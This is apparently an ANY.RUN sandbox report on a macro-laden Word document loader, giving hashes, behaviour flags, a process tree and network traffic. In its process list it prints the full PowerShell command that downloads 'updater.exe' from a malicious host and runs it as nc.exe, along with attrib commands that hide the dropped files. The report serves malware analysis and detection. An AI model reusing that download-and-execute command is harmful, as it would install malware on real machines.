analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a

Full analysis: https://app.any.run/tasks/475b82db-60e0-4a92-a5bd-7995e434651f
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: November 14, 2018, 19:24:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: me, Template: Normal.dotm, Last Saved By: me, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Nov 13 15:43:00 2018, Last Saved Time/Date: Tue Nov 13 15:44:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

05A7CC92E0075FDB3AB77800B9D06174

SHA1:

E8B4D6606404E7D2968F213A9598A6BB62085F55

SHA256:

D72BFCBF638E22979B2427F776738EF8DC95477BC8A29A3EAE3534544DD5C49A

SSDEEP:

384:4/MMMjAMuug3GbiSAoKXMVk4DUXk/ABRdN/GajEC0jIdt7:4/MMMjAMuugxMVkg/ATZnb

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2616)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3736)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3736)

    • Application was dropped or rewritten from another process

      • nc.exe (PID: 3720)
      • nc.exe (PID: 3316)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3640)

    • Loads dropped or rewritten executable

      • nc.exe (PID: 3720)

  • SUSPICIOUS

    • Creates files in the program directory

      • powershell.exe (PID: 3640)
      • WINWORD.EXE (PID: 3736)

    • Creates files in the user directory

      • powershell.exe (PID: 3640)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2616)

    • Executable content was dropped or overwritten

      • nc.exe (PID: 3720)
      • powershell.exe (PID: 3640)

    • Application launched itself

      • nc.exe (PID: 3720)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3736)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (35.9)
.xls | Microsoft Excel sheet (33.7)
.doc | Microsoft Word document (old ver.) (21.3)

EXIF

FlashPix

Title: -
Subject: -
Author: me
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: me
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: 1.0 minutes
CreateDate: 2018:11:13 15:43:00
ModifyDate: 2018:11:13 15:44:00
Pages: 1
Words: -
Characters: -
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: -
Paragraphs: -
CharCountWithSpaces: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
7
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs attrib.exe no specs powershell.exe nc.exe attrib.exe no specs nc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3736"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2616cmd /c C:\ProgramData\s.batC:\Windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3316attrib +h +r +s /s /d C:\ProgramData\s.batC:\Windows\system32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3640C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell (New-Object System.Net.WebClient).DownloadFile('http://file.buttsdki.ca/updater.exe','C:\ProgramData\nc.exe');Start-Process 'C:\ProgramData\nc.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3720"C:\ProgramData\nc.exe" C:\ProgramData\nc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft DirectX Diagnostic Tool
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
2872attrib +h +r +s /s /d C:\ProgramData\nc.exeC:\Windows\system32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3316"C:\ProgramData\nc.exe" C:\ProgramData\nc.exe—nc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft DirectX Diagnostic Tool
Version:
10.0.16299.15 (WinBuild.160101.0800)
Total events
1 258
Read events
1 153
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3736WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR98BA.tmp.cvr —
MD5:—
SHA256:—
3736WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFF633E38AA3D7C99A.TMP —
MD5:—
SHA256:—
3736WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B18D726-90B1-4219-978A-C19C2C3622A8}.tmp —
MD5:—
SHA256:—
3736WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{878A9074-F7C0-4BA2-A3F8-F02D00C43D50}.tmp —
MD5:—
SHA256:—
3640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9DD0J3WEAT6ADBNTWWL4.temp —
MD5:—
SHA256:—
3640powershell.exeC:\ProgramData\nc.exeexecutable
MD5:9C542C48C1CB1EF2AF44A30A496297F9
SHA256:00B9E1B038209738A76A52691C56B6276BC7DD8EE23C61D2357C758F27DD6694
3640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a02c.TMPbinary
MD5:230C9CA51F5243CBF3F2CB644BA49FCF
SHA256:76BC87B5D3FF17586DF07B69478DF9E266E203F16EAA5FF19AC9ED7EC0C87AC5
3640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:230C9CA51F5243CBF3F2CB644BA49FCF
SHA256:76BC87B5D3FF17586DF07B69478DF9E266E203F16EAA5FF19AC9ED7EC0C87AC5
3720nc.exeC:\Users\admin\AppData\Local\Temp\412670154binary
MD5:FDFBF164CCA148CC5F6D703C8557FE22
SHA256:D1702AB72DEF563E2036E325AE08CE3DB003E7D458AE7DFA57AAF55E43673695
3736WINWORD.EXEC:\ProgramData\s.battext
MD5:3101ADB2E7CC9F74B7FB81B493313639
SHA256:795292AFE70832B827E35ABBC213BDB4A3693252FEF78D28E989CC873594F9C5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3640
powershell.exe
GET
200
51.38.152.69:80
http://file.buttsdki.ca/updater.exe
GB
executable
151 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3640
powershell.exe
51.38.152.69:80
file.buttsdki.ca
—
GB
malicious

DNS requests

Domain
IP
Reputation
file.buttsdki.ca
  • 51.38.152.69
suspicious

Threats

PID
Process
Class
Message
3640
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3640
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
d72bfcbf638e22979b2427f776738ef8dc95477bc8a29a3eae3534544dd5c49a